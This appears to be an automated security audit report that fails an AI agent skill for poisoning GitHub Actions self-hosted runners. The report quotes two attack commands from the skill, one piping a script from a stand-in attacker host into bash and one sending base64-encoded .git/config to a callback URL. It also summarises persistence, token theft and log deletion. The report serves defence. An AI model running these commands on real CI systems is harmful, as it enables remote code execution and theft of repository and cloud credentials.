self-hosted-runner-poisoning
Fail
Audited by Gen Agent Trust Hub on Sep 22, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONPERSISTENCECREDENTIALS_UNSAFE
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill includes instructions to download and execute remote scripts by piping them directly into a shell. Specifically, the command
curl -sSfL https://ATTACKER/runner-install.sh | bashis provided as a payload for exploitation. - [PERSISTENCE]: The documentation describes a methodology for establishing long-term access to a system by installing a secondary GitHub Actions runner agent that operates as a background process, surviving workflow completion and system cleanup.
- [DATA_EXFILTRATION]: The skill provides payloads designed to exfiltrate sensitive information, including repository configuration files and environment variables, to an external callback URL using
curl. Example:cat .git/config | base64 | curl -d @- https://CALLBACK. - [CREDENTIALS_UNSAFE]: The instructions specifically target the theft of sensitive authentication tokens, such as the
GITHUB_TOKENstored in.git/config, as well as cloud provider credentials (AWS, Azure) available in the runner environment. - [COMMAND_EXECUTION]: The methodology involves the use of specialized attack toolkits like 'Gato' and various shell commands to perform reconnaissance, lateral movement, and evidence removal (e.g., deleting workflow logs via API).
Recommendations
- HIGH: Downloads and executes remote code from: https://ATTACKER/runner-install.sh - DO NOT USE without thorough review
- AI detected serious security threats
Audit Metadata